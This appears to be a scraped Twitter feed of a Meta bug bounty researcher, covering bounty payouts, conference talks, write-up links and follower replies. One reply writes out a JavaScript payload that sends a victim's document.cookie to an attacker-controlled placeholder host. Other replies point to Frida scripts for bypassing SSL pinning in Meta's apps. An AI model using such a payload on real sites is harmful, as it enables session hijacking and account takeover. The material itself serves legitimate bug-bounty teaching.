Bassem M bazzoun

Cybersecurity Researcher at Meta bug bounty program 👨🏻‍💻

[Bassem M bazzoun @bassemmbazzoun]

A reward of 11,250$ from Facebook after reporting a security vulnerability that could allow me to delete any video or reel posted on the platform.

https://t.co/ATapvbc8Ww

#cybersecuriy #BugBounty #hackers #penetrationtesting #facebook #meta

[Bassem M bazzoun @bassemmbazzoun]

@covert_bugs Android mobile app

[Bassem M bazzoun @bassemmbazzoun]

In this blog, I will discuss how a security vulnerability I discovered a year ago in Facebook/Meta could be used to affect the US election and how a simple IDOR vulnerability could have a major impact.

I hope you enjoy it :)

#USElection2024 #bugbounty

https://t.co/mAc2F4LrjS

[Bassem M bazzoun @bassemmbazzoun]

@covert_bugs You may try using older versions that have the "Whitehat Setting" then update the app to latest version. Otherwise, you can find some frida scripts available online on Github to bypass SSL for Instagram.

[Bassem M bazzoun @bassemmbazzoun]

It was great to attend the Meta Bug Bounty Researchers Conference (BountyCon'24) in Johannesburg, South Africa 🇿🇦👨🏻‍💻. I had the opportunity to meet and network with greatest hackers, learn new topics, and connect with the Meta Security team.

#meta #cybersecurity #bugbountytips

[Bassem M bazzoun @bassemmbazzoun]

@covert_bugs I hunt on Android devices; There is a researcher setting that can help you intercept the Facebook mobile requests. For iOS, you can find some GitHub repositories that contain Frida scripts to bypass SSL. Try searching "Facebook SSL Bypass iOS - GitHub" and check that suit you.

[Bassem M bazzoun @bassemmbazzoun]

#GISEC #bugbounty #cybersecurity

[Bassem M bazzoun @bassemmbazzoun]

@blackcloudes @_SaudSubaie الإجابة على هذا السؤال قد تكون طويلة لأنها موضوع واسع يحتاج إلى شرح مفصل، ولكن بشكل عام، يرتبط هذا بالقرصنة الأخلاقية وصيد الثغرات الأمنية وبرامج ال (Bug bounty). أقوم بفحص المواقع وأحاول العثور على ثغرات أمنية ومن ثم أقوم بالإبلاغ عنها للشركة.

[Bassem M bazzoun @bassemmbazzoun]

@_SaudSubaie شكرا على النشر 🙏🏻😄

[Bassem M bazzoun @bassemmbazzoun]

I'm excited to speak at GISEC Global, Middle East and Africa's Largest Cybersecurity event - from 23-25 April 2024 at Dubai World Trade Centre.

Come and join me, register now for a free pass: https://t.co/52UzaMr9sA

#GISECGLOBAL #cybersecurity #infosecurity #ethicalhacking

[Bassem M bazzoun @bassemmbazzoun]

@L3onid1s Well done! 👏🏻👏🏻

[Bassem M bazzoun @bassemmbazzoun]

Found an endpoint:
…/redacted?redirectionParam=/Path

1. Supplied any url: (Open redirect ✅ )

2.Supplied javascript:alert(1) ( XSS ✅ )

3.Created payload to steal the victim’s cookies and redirect them to our own website: ( ATO ✅ )

#BugBounty #bugbountytips #hackerone

[Bassem M bazzoun @bassemmbazzoun]

@m4ngofloat_ Above is a simple payload that retrieve the cookies using document.cookie then redirect the victim to our own website and appends the cookies to the URL. Then you can check the logs on your website and retrieve the victim cookies.

[Bassem M bazzoun @bassemmbazzoun]

@m4ngofloat_ You may write your own JS payload that steal the victim cookies and redirect it to your own server.

E.g:

javascript:(function() {
var data = encodeURIComponent(document.cookie);
window.location.href = "https://{INTERACTSH_LINK}/attacker?cookies="%2bdata;
})();

[Giwa Daoud @GiwaDaoud]

This is how I was able to leak the cover pages of secret documents that were supposed to be private🔥.

Check out my write-up below. I'd love to hear your thoughts and feedback.

#hackerone #Cybersecurity #ethicalhacking #cyberattacks #bugbounty

https://t.co/2sWJKfenwT

[Bassem M bazzoun @bassemmbazzoun]

Yay, I was awarded a $3,750 bounty on @Hacker0x01! https://t.co/IldOsFOCm8 #TogetherWeHitHarder #bugbounty #CyberSecurity #hackerone

[kassembazzoun @bazzounkassem]

Bypass email confirmation on Instagram and Facebook — Meta Bug Bounty [$5000]
https://t.co/G5jhCSZPEB

[Bassem M bazzoun @bassemmbazzoun]

@VikasBerwal1337 They missed to implement rate limit

[Bassem M bazzoun @bassemmbazzoun]

Bypassing Two-Factor Authentication for Facebook Accounts ($25,300)

#bugbounty #bugbountytips #cybersecurity #hackerone #ethicalhacking #vulnerability #facebook #meta #instagram #networksecurity #programming #cybersec #infosec
https://t.co/PC3cb4ZkZ5

[Bassem M bazzoun @bassemmbazzoun]

@reyaz_chawshin Nope, we cannot disclose any vulnerability to the public until it's fully resolved

[Bassem M bazzoun @bassemmbazzoun]

For people who were unable to access my write-up on Medium, I have created the article below on Linkedin, and you will be able to read the full write-up.

I'm sorry for the inconvenience! I hope you enjoy reading the write-up!

https://t.co/zQZ8hM2aga

[Bassem M bazzoun @bassemmbazzoun]

Update of the updated link: final_version_999.pdf :')

https://t.co/zQZ8hM2aga

[Bassem M bazzoun @bassemmbazzoun]

Updated Link:

https://t.co/69M67aihrf